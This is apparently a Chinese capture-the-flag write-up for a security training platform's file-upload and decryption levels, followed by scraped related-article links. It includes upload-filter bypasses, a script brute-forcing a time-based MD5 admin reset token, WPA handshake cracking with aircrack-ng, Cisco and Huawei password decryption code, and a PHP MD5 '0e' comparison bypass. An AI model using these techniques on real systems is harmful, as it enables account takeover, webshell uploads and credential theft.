上传关
[1]
查看源代码,发现JS代码。提交时onclick进行过验证。
ctrl+shift+i 打开开发者工具,将conclick修改为 return True,即可以上传
上传php文件,拿到KEY
key is IKHJL9786#$%^&
[2]
查看源代码,发现JS文件。发现是经过服务器端验证。
伪造一张jpg图片进行上传,利用burp截断,将文件名改为PHP就拿到key
key is 76tyuhjsdvytig#$%^&
[3]
查看源代码,发现JS代码。
var filename=document.getElementById("file");
var str=filename.value.split(".");
var ext=str[1];
发现只是验证了文件名后第一个后缀,进行 file.jpg.php进行绕过
得到key key is 76tyuh12OKKytig#$%^&

解密关
[1] 以管理员身份登录系统
直接点重置密码,发现返回空白的页面。查看源代码,发现tip1,验证自己思路没错。
在url中发现参数sukey,长度为32位,对其进行MD5解密。发觉以下规律
payload:

import requests
import hashlib
import time

se = requests.session()
headers = {'Cookie': 'PHPSESSID=25443616fac3435849c2f3e77b54a4ca'}

while 1:
sukey = hashlib.new('md5', str(int(time.time()))).hexdigest()
url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + sukey + '&username=admin'
r = se.get(url, headers=headers)
if r.content:
print r.content
break
else:
print 'Cracking: ' + sukey

拿到key

[2] 邂逅对门的妹纸

一个包,打开后发现是经过加密的。需要解密。
根据提示做一个字典
with open("password.txt","w") as f:
for year in range(1980,2015):
for month in range(1,13):
for day in range(1,32):
f.write("%d%02d%02d\n" % (year,month,day))

开始暴力破解。
root@kali:~/Desktop# aircrack-ng wifi-crack.cap
Opening wifi-crack.cap
Read 17812 packets.

# BSSID ESSID Encryption

1 54:E6:FC:53:E6:D0 hackinglab WPA (1 handshake)

Choosing first network as target.

Opening wifi-crack.cap
Please specify a dictionary (option -w).

Quitting aircrack-ng...

发现BSSID,ESSID

root@kali:~/Desktop# aircrack-ng -e hackinglab -b 54:E6:FC:53:E6:D0 -w password.txt wifi-crack.cap
Opening wifi-crack.cap
Reading packets, please wait...

Aircrack-ng 1.2 beta3

[00:00:05] 5436 keys tested (954.82 k/s)

KEY FOUND! [ 19940808 ]

Master Key : 92 D0 BF EB 09 69 E7 29 78 85 B4 48 64 20 D9 E9
17 B2 70 20 1B E7 A9 B9 06 27 C6 65 B0 5B 92 FA

Transient Key : 58 1D E4 36 66 67 BA 5A 76 17 A7 75 34 27 C4 3F
BA D0 1A 5C 43 6E C1 87 FA A6 07 84 17 AA 1B A8
8F 24 B4 6D 54 39 CD 0B BA BA 95 63 43 A7 6C E1
4D 1A C1 17 23 47 F1 3D 9A 8C 42 24 5D 8E 24 69

EAPOL HMAC : 02 C8 6C C3 C6 51 2D DC CA 68 ED 8A 5C 9D CE A6
得到密码,MD5加密提交

[3]万恶的Cisco
直接安装 cisco_crack进行破解
a = "02070D48030F1C294940041801181C0C140D0A0A20253A3B"
crack=cisco_decrypt.CiscoPassword()
crack.decrypt(a)
S = 2
S = 3
S = 4
S = 5
S = 6
S = 7
S = 8
S = 9
S = 10
S = 11
S = 12
S = 13
S = 14
S = 15
S = 16
S = 17
S = 18
S = 19
S = 20
S = 21
S = 22
S = 23
S = 24
'aishishenmadongxi@Admin'

[4]万恶的加密
提示华为的交换机,谷歌搜一下,看到一篇文章,可惜 Windows 下跑不了这个脚本,放到 Kali 下,成功拿到 key。

# coding=utf-8
from Crypto.Cipher import DES

def decode_char(c):
if c == 'a':
r = '?'
else:
r = c
return ord(r) - ord('!')

def ascii_to_binary(s):
assert len(s) == 24
out = [0]*18
i = 0
j = 0

for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & 0xffffff
k = decode_char(s[i + 1])

y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 2])

y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 3])
y = (y | k) & 0xffffff

out[j+2] = chr(y & 0xff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & 0xff)

j += 3
return "".join(out)

def decrypt_password(p):
r = ascii_to_binary(p)
r = r[:16]
d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r = d.decrypt(r)
return r.rstrip("\x00")

if __name__ == '__main__':
miwen = "aK9Q4I)J'#[Q=^Q`MAF4<1!!"
print u'明文' + decrypt_password(miwen)

[5] 喜欢泡网吧的小明
不会

[6]异常数据
发现加密数据后面有个=,明显的base64加密。但是都是大写,很有可能全部转为大写
payload
from base64 import *
import re

def dfs(res, arr, pos):
res.append(''.join(arr))
i = pos
for i in range(i, len(arr)):
if arr[i] <= 'Z' and arr[i] >= 'A':
arr[i] = arr[i].lower()
dfs(res, arr, i + 1)
arr[i] = arr[i].upper()

arr = list('AGV5IULSB3ZLVSE=')
res = []

dfs(res, arr, 0)

res_decode = map(b64decode, res)

for i in res_decode:
if re.findall(r'\\x', repr(i)):
continue
else:
print i
hey!IRovKU!
hey!IRoveU!

[7]md5真的能碰撞嘛?
<?php
$flag=FLAG;
if(isset($_POST["password"])){
$password=$_POST['password'];
$rootadmin="!1793422703!";
if($password==$rootadmin){die("Please do not attack admin account!");}

if(md5($password)==md5($rootadmin)){
echo $flag;
}else{
die("Password Error!");
}
}
?>
>>> hashlib.md5("!1793422703!").hexdigest()
'0e332932043729729062996282883873'
开头为0e最后值显示为0.
直接百度“MD5,0e” post提交 password=s214587387a拿到flag

[8]小明爱上了一个搞硬件的小姑凉
改为txt文件。发现
serialization::archive 10 25 SaleaeAsyncSerialAnalyzer 0 20 13973230967232177885 1 1 9600 8 1 0 1 0 0
Async Serial Analyzer 百度搜索为一文件名。
查看其它writeup,为下载该软件,打开就可以拿到flag

[9]
没思路,以后补充

网络信息安全攻防学习平台 上传,解密通关writeup的更多相关文章

  1. #033 信安培训基础题Python解决网络安全实验室|网络信息安全攻防学习平台

    第三题猜猜这是经过了多少次加密?分值: 200 加密后的字符串为:一大串 字符串最后面是= 所以是base64.b64decode编码究竟为啥有=就是base64咱也不知道 咱也不敢问咋解密也是从网上 ...

  2. WebService支持多平台上传文件的实现

    WebService支持多平台上传文件的实现   要使用网站上传文件,在ASP.NET的范畴,我基本上能想到的有两类,一类是通过HTTP POST请求获得文件信息,另外一类是通过WebService或 ...

  3. 南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup

    南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup 题目描述 文件下载地址 很明显,文件之间进行亦或就可得到flag,不再多说,直接上脚本 #coding:utf-8 file_a = ...

  4. Apache Pulsar 在腾讯 Angel PowerFL 联邦学习平台上的实践

    腾讯 Angel PowerFL 联邦学习平台 联邦学习作为新一代人工智能基础技术,通过解决数据隐私与数据孤岛问题,重塑金融.医疗.城市安防等领域. 腾讯 Angel PowerFL 联邦学习平台构建 ...

  5. ios开发之网络数据的下载与上传

    要实现网络数据的下载与上传,主要有三种方式 > NSURLConnection  针对少量数据,使用“GET”或“POST”方法从服务器获取数据,使用“POST”方法向服务器传输数据; > ...

  6. 攻防:文件上传漏洞的攻击与防御,转自H3C

    WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目 ...

  7. Upload-labs 文件上传靶场通关攻略(上)

    Upload-labs 文件上传靶场通关攻略(上) 文件上传是Web网页中常见的功能之一,通常情况下恶意的文件上传,会形成漏洞. 逻辑是这样的:用户通过上传点上传了恶意文件,通过服务器的校验后保存到指 ...

  8. THINKPHP源码学习--------文件上传类

    TP图片上传类的理解 在做自己项目上传图片的时候一直都有用到TP的上传图片类,所以要进入源码探索一下. 文件目录:./THinkPHP/Library/Think/Upload.class.php n ...

  9. NET实现微信公共平台上传下载多媒体文件(转)

    举个例子,有人对着我们的公共微信号拍个照片发送过来,然后我们处理这个照片,比如进行ocr识别字(随后就会降到这个例子),或者人脸识别,或者拍照取证等,这些功能都是相当有用的.那么我们现在就要分析一下这 ...

随机推荐

  1. Html在网页、页面中放置Swf、Flash 背景

    Html 在网页.页面中放置Swf.Flash背景: <embed src="image/index.swf" wmode=transparent style="p ...

  2. HDU-1701-ACMer

    题目链接 http://acm.hdu.edu.cn/showproblem.php?pid=1701 解题: 好久没做题,好久没写解题思路了,连简答题都不会做了,下午的月赛挂了,我悲剧了,在此发牢骚 ...

  3. 大数据时代的杀手锏----Tachyon

    一.Tachyon系统的简介 Tachyon是一个分布式内存文件系统,可以在集群里以访问内存的速度来访问存在tachyon里的文件.把 Tachyon是架构在最底层的分布式文件存储和上层的各种计算框架 ...

  4. JSP 禁用脚本设置

    JSP 禁用脚本设置: web.xml: <?xml version="1.0" encoding="UTF-8"?> <web-app xm ...

  5. C#中 Thread,Task,Async/Await,IAsyncResult 的那些事儿!

    说起异步,Thread,Task,async/await,IAsyncResult 这些东西肯定是绕不开的,今天就来依次聊聊他们 1.线程(Thread) 多线程的意义在于一个应用程序中,有多个执行部 ...

  6. 微信LazyMan笔试题的深入解析和实现

    一.题目介绍  以下是我copy自网上的面试题原文: 实现一个LazyMan,可以按照以下方式调用: LazyMan("Hank")输出: Hi! This is Hank!   ...

  7. HDU 2585 [Hotel]字符串递归处理

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2585 题目大意:马克思要找个曾经去过的很好的旅馆,可惜他记不完整旅馆的名字.他有已知的部分信息和可能的 ...

  8. [css]《css揭秘》学习(二)-多重边框

    一.box-shadow属性 box-shadow除了生成投影,还可以用来生成边框:它接受第4个值作为扩张半径,0的x轴偏移+0的y轴偏移+0的模糊值+0的扩张半径,得到的显示效果和边框是一样的:但是 ...

  9. NMEA-0183协议解析

    NMEA-0183 NMEA 0183是美国国家海洋电子协会(National Marine Electronics Association )为海用电子设备制定的标准格式.目前业已成了GPS导航设备 ...

  10. samentic 在IE9 不支持 transition 的解决方案

    本文原文链接为:http://www.cnblogs.com/jying/p/6377696.html  ,转载请注明出处. 在使用samentic过程中遇到 IE9 下报如下错误: 查阅了好多资料终 ...